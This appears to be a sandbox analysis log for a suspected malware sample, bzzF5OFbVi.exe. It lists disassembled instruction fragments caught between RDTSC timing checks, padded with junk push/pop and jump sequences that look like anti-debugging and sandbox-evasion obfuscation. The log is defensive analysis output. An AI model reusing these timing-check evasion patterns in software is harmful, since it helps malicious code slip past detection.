Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60593 second address: 4B60599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60599 second address: 4B507DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop edx 0x00000011 pushfd 0x00000012 jmp 00007FB180E7C71Eh 0x00000017 sbb ax, 40F8h 0x0000001c jmp 00007FB180E7C71Bh 0x00000021 popfd 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007FB180E7C728h 0x00000029 xor ax, 9B58h 0x0000002e jmp 00007FB180E7C71Bh 0x00000033 popfd 0x00000034 popad 0x00000035 je 00007FB1F1DBA767h 0x0000003b xor eax, eax 0x0000003d jmp 00007FB180E55E4Ah 0x00000042 pop esi 0x00000043 pop edi 0x00000044 pop ebx 0x00000045 leave 0x00000046 retn 0004h 0x00000049 nop 0x0000004a sub esp, 04h 0x0000004d mov edi, eax 0x0000004f xor ebx, ebx 0x00000051 cmp edi, 00000000h 0x00000054 je 00007FB180E7C927h 0x0000005a call 00007FB185959EF6h 0x0000005f mov edi, edi 0x00000061 jmp 00007FB180E7C727h 0x00000066 xchg eax, ebp 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007FB180E7C722h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B508EA second address: 4B508EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B508EE second address: 4B508F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B508F2 second address: 4B508F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B609F7 second address: 4B609FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B609FC second address: 4B60A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov edx, 7C4E3C06h 0x00000013 popad 0x00000014 jmp 00007FB180E78747h 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB180E78745h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60A40 second address: 4B60A60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB180E7C721h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60A60 second address: 4B60A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7873Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60A70 second address: 4B60ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75AF459Ch], 05h 0x00000012 jmp 00007FB180E7C726h 0x00000017 je 00007FB1F1DAA677h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB180E7C727h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60B12 second address: 4B60B18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60BE9 second address: 4B60C5C instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test al, al 0x0000000a pushad 0x0000000b mov esi, 209FBB7Dh 0x00000010 mov edx, eax 0x00000012 popad 0x00000013 je 00007FB1F1DA049Fh 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FB180E7C722h 0x00000020 adc ax, 2988h 0x00000025 jmp 00007FB180E7C71Bh 0x0000002a popfd 0x0000002b jmp 00007FB180E7C728h 0x00000030 popad 0x00000031 cmp dword ptr [ebp+08h], 00002000h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007FB180E7C71Dh 0x00000040 mov cx, 63D7h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60C5C second address: 4B60C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60C62 second address: 4B60C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A9E second address: 4B70AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70AA2 second address: 4B70AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70AA6 second address: 4B70AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70AAC second address: 4B70B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FB180E7C727h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007FB180E7C724h 0x00000014 mov dword ptr [esp], ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FB180E7C71Eh 0x0000001e adc al, 00000048h 0x00000021 jmp 00007FB180E7C71Bh 0x00000026 popfd 0x00000027 mov edx, ecx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d pushad 0x0000002e mov si, F78Dh 0x00000032 jmp 00007FB180E7C71Ah 0x00000037 popad 0x00000038 jmp 00007FB180E7C722h 0x0000003d popad 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FB180E7C71Dh 0x00000048 or si, D7C6h 0x0000004d jmp 00007FB180E7C721h 0x00000052 popfd 0x00000053 mov eax, 10C73C77h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70B5B second address: 4B70C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E78743h 0x00000008 pushfd 0x00000009 jmp 00007FB180E78748h 0x0000000e and al, FFFFFFC8h 0x00000011 jmp 00007FB180E7873Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c call 00007FB180E7873Fh 0x00000021 mov ebx, ecx 0x00000023 pop eax 0x00000024 pushfd 0x00000025 jmp 00007FB180E78745h 0x0000002a and cx, 2296h 0x0000002f jmp 00007FB180E78741h 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 movzx ecx, dx 0x0000003b push ebx 0x0000003c pushfd 0x0000003d jmp 00007FB180E78744h 0x00000042 sub al, FFFFFFE8h 0x00000045 jmp 00007FB180E7873Bh 0x0000004a popfd 0x0000004b pop eax 0x0000004c popad 0x0000004d mov esi, dword ptr [ebp+0Ch] 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70C13 second address: 4B70C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70C23 second address: 4B70CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007FB180E7873Ah 0x0000000c add ecx, 3538E778h 0x00000012 jmp 00007FB180E7873Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test esi, esi 0x0000001d pushad 0x0000001e mov bx, si 0x00000021 pushfd 0x00000022 jmp 00007FB180E78740h 0x00000027 and cx, 81D8h 0x0000002c jmp 00007FB180E7873Bh 0x00000031 popfd 0x00000032 popad 0x00000033 je 00007FB1F1D95E7Bh 0x00000039 pushad 0x0000003a movzx esi, dx 0x0000003d jmp 00007FB180E78741h 0x00000042 popad 0x00000043 cmp dword ptr [75AF459Ch], 05h 0x0000004a jmp 00007FB180E7873Eh 0x0000004f je 00007FB1F1DADF2Ah 0x00000055 pushad 0x00000056 mov ax, 96BDh 0x0000005a movzx esi, dx 0x0000005d popad 0x0000005e push eax 0x0000005f pushad 0x00000060 mov dx, si 0x00000063 push eax 0x00000064 push edx 0x00000065 movzx eax, dx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70D15 second address: 4B70D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70D19 second address: 4B70D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70D1F second address: 4B70D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70D9C second address: 4B70DDD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB180E78744h 0x00000008 xor eax, 09B1DF38h 0x0000000e jmp 00007FB180E7873Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB180E78740h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70DDD second address: 4B70DEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70DEC second address: 4B70DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECEDD4 second address: 5ECEDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECEDDA second address: 5ECEDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Bh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FB180E7873Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECDEE4 second address: 5ECDF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Fh 0x00000007 jmp 00007FB180E7C71Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB180E7C727h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECDF21 second address: 5ECDF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE05D second address: 5ECE061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE061 second address: 5ECE077 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB180E7873Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE077 second address: 5ECE07C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE343 second address: 5ECE34D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB180E78736h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE34D second address: 5ECE358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE358 second address: 5ECE37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB180E78736h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB180E78743h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE37B second address: 5ECE38A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE38A second address: 5ECE38F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE4E4 second address: 5ECE4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C71Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ECE4F8 second address: 5ECE510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E78740h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED25D0 second address: 5ED25D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED265C second address: 5ED2665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED27AE second address: 5ED27C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB180E7C716h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED27C2 second address: 5ED2850 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FB180E78738h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 add si, F825h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FB180E78738h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2C38h], ebx 0x0000004d call 00007FB180E78739h 0x00000052 push edx 0x00000053 pushad 0x00000054 push edx 0x00000055 pop edx 0x00000056 jl 00007FB180E78736h 0x0000005c popad 0x0000005d pop edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jnc 00007FB180E7874Bh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED2850 second address: 5ED2857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED2908 second address: 5ED2911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5ED2911 second address: 5ED2915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF3E1A second address: 5EF3E55 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E78753h 0x00000008 jmp 00007FB180E78741h 0x0000000d jmp 00007FB180E7873Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FB180E78741h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF1F45 second address: 5EF1F57 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB180E7C718h 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FB180E7C716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF266B second address: 5EF267D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FB180E78736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF267D second address: 5EF2681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF27FC second address: 5EF2802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2802 second address: 5EF2806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2806 second address: 5EF281F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78745h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF281F second address: 5EF283E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FB180E7C716h 0x0000000e jmp 00007FB180E7C721h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF283E second address: 5EF284D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FB180E78736h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF284D second address: 5EF2859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB180E7C716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2C73 second address: 5EF2C87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB180E78736h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FB180E78736h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2C87 second address: 5EF2C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2C8B second address: 5EF2C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB180E78736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF3D4 second address: 5EBF3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF3DA second address: 5EBF3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB180E78736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF3E5 second address: 5EBF40A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FB180E7C716h 0x00000009 pop edx 0x0000000a push ebx 0x0000000b jo 00007FB180E7C716h 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB180E7C71Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF40A second address: 5EBF431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78749h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FB180E78738h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF431 second address: 5EBF438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBF438 second address: 5EBF43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2FB4 second address: 5EF2FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2FB8 second address: 5EF2FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2FBE second address: 5EF2FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2FC4 second address: 5EF2FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF2FCA second address: 5EF2FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF36E3 second address: 5EF3724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007FB180E78744h 0x0000000d jmp 00007FB180E78747h 0x00000012 jng 00007FB180E7873Ch 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF3897 second address: 5EF389B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF389B second address: 5EF38A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF38A1 second address: 5EF38A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF38A7 second address: 5EF38BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FB180E7873Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF3A19 second address: 5EF3A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
